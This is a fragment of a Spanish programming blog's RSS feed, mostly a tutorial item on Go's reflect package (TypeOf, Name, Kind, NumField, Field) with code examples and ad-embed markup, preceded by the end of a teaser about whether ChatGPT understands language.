2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/Cq3EOQog9aw&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;Hoy dejo de lado las consecuencias económicas de la IA y la pregunta sobre si &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;estamos en una burbuja de IA o no&lt;/a&gt;&#xA;, para centrarme en el aspecto filosófico de Chat GPT y reflexionar un poco sobre la pregunta: ¿entiende realmente Chat GPT el lenguaje? O dicho de otra forma: ¿es consciente Chat GPT?&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go con Reflect: Mayor Flexibilidad En Tu Código</title>
      <link>https://coffeebytes.dev/es/go/go-con-reflect-descubre-como-la-reflexion-puede-impulsar-la-flexibilidad-de-tu-programa/</link>
      <pubDate>Mon, 13 Mar 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-con-reflect-descubre-como-la-reflexion-puede-impulsar-la-flexibilidad-de-tu-programa/</guid>
      
      <category>Go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El paquete &amp;ldquo;reflect&amp;rdquo; es una biblioteca útil en el lenguaje de programación Go que proporciona funciones para trabajar con la reflexión.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-la-reflexion-en-programacion&#34;&gt;¿Qué es la reflexión en programación?&lt;/h2&gt;&#xA;&lt;p&gt;La reflexión es la habilidad de un programa de inspeccionar su propia estructura en tiempo de ejecución. Esto incluye la habilidad de examinar: tipos, valores y metada de los objetos en memoria. La reflexión nos permite tener código más flexible y genérico y nos permite crear funciones y estructuras de dato que pueden trabajar con cualquier tipo de objeto, sin importar su tipo. Además es la base para la metaprogramación.&lt;/p&gt;&#xA;&lt;p&gt;Podemos dividir la reflexión de Go en dos tipos de datos importantes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Type&lt;/strong&gt;: El tipo de dato de Go, a partir del cual se desglosan todos la información del tipo de dato, su clase, su nombre, tamaño, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt;: El valor del dato de Go, con métodos para modificar los datos de un objeto.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;tipo-de-dato-type-y-typeof&#34;&gt;Tipo de dato: Type y TypeOf&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Type&lt;/em&gt; es el &lt;strong&gt;tipo de dato más importante en el paquete reflect&lt;/strong&gt; ya que representa al objeto en memoria y guarda toda la meta información de nuestros objetos: su tipo, representación, métodos y campos.&lt;/p&gt;&#xA;&lt;p&gt;¿Y como obtenemos un &lt;em&gt;Type&lt;/em&gt;? Con el método &lt;em&gt;TypeOf&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;El método &lt;em&gt;TypeOf&lt;/em&gt; del paquete &lt;em&gt;reflect&lt;/em&gt; se utiliza para obtener el tipo de una interfaz, recibe un &lt;em&gt;interface&lt;/em&gt; (o sea cualquier cosa) y retorna un &lt;em&gt;reflect.Type&lt;/em&gt;; &amp;ldquo;el tipo más importante de reflect&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Reflect--&gt;TypeOf;&#xA;    Reflect--&gt;Type;&#xA;    TypeOf--&gt;Type;&#xA;    Type--&gt;Name;&#xA;    Type--&gt;Kind;&#xA;    Type--&gt;NumField;&#xA;    Type--&gt;Field;&#xA;    Type--&gt;Size;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;En este diagrama coloco los que considero los métodos más importantes de &lt;em&gt;Type&lt;/em&gt;, pero tanto el tipo &lt;em&gt;reflect.Type&lt;/em&gt; y &lt;em&gt;reflect.Value&lt;/em&gt; tiene muchos más.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Mira un ejemplo con &lt;em&gt;TypeOf&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Coffee &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Origin &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;`tagEjemplo:&amp;#34;valor&amp;#34;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Height &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;instanciaDelCafe &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Coffee{Origin: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Michoacan&amp;#34;&lt;/span&gt;, Height: &lt;span style=&#34;color:#ff9f43&#34;&gt;1100&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// TypeOf nos devolverá un tipo *reflect.Type*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(typeOfCoffee)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// main.coffee&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como el tipo de dato es una estructura que corresponde a main, de nombre &lt;em&gt;coffee&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;name-el-nombre-del-tipo-de-dato&#34;&gt;Name, el nombre del tipo de dato&lt;/h3&gt;&#xA;&lt;p&gt;Name contiene el nombre del respectivo tipo de dato&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// TypeOf nos devolverá un tipo *reflect.Type*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Name&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// coffee&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;kind-la-clase-del-tipo-de-dato&#34;&gt;Kind, la clase del tipo de dato&lt;/h3&gt;&#xA;&lt;p&gt;El método &lt;em&gt;TypeOf&lt;/em&gt; nos permite obtener un objeto &lt;em&gt;Type&lt;/em&gt;, que representa el tipo de dato de nuestra interfaz, a partir del cual podemos leer la clase de dato, con su método &lt;em&gt;Kind&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// TypeOf nos devolverá un tipo *reflect.Type*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Kind&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// struct&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;numfield-para-obtener-el-numero-de-campos-de-un-struct&#34;&gt;NumField para obtener el número de campos de un struct&lt;/h3&gt;&#xA;&lt;p&gt;A partir de &lt;em&gt;Type&lt;/em&gt; podemos obtener todo tipo de información útil, como el número de campos de un objeto. Lo anterior es bastante útil en el caso de structs y otras estructuras con múltiples campos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Obtendremos el número de campos de nuestro objeto&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coffeeNumFields &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;NumField&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(coffeeNumFields)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2 &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En este caso obtenemos 2 campos (Location y Height)&lt;/p&gt;&#xA;&lt;p&gt;Considera que si intentas obtener el NumField de un tipo int u otro tipo que &lt;strong&gt;no cuente con múltiples campos&lt;/strong&gt;, Go devolverá un error&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;panic: reflect: Field of non&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;field-y-type-anidados-de-un-struct&#34;&gt;Field y Type anidados de un struct&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;Type&lt;/em&gt; también pone a nuestra disposición el método &lt;em&gt;Field&lt;/em&gt;, que junto con &lt;em&gt;NumField&lt;/em&gt;, nos dejará acceder directamente a los campos de un struct, a partir de su índice.&lt;/p&gt;&#xA;&lt;p&gt;Y, con esto, podremos acceder a los &lt;em&gt;Types&lt;/em&gt; anidados dentro del objeto &lt;em&gt;Type&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    TypeDelStruct--&gt;Field;&#xA;    Field--Indice--&gt;TypeDelField;&#xA;    TypeDelField--&gt;Name;&#xA;    TypeDelField--&gt;Kind;&#xA;    TypeDelField--&gt;Otros...;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Cada &lt;em&gt;Type&lt;/em&gt; anidado, al igual que el de su padre, contará con los métodos &lt;em&gt;Name&lt;/em&gt; y &lt;em&gt;Kind&lt;/em&gt; que ya vimos unas lineas arriba.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Obtendremos el nombre y tipo del primer campo de nuestro objeto&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;field &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span 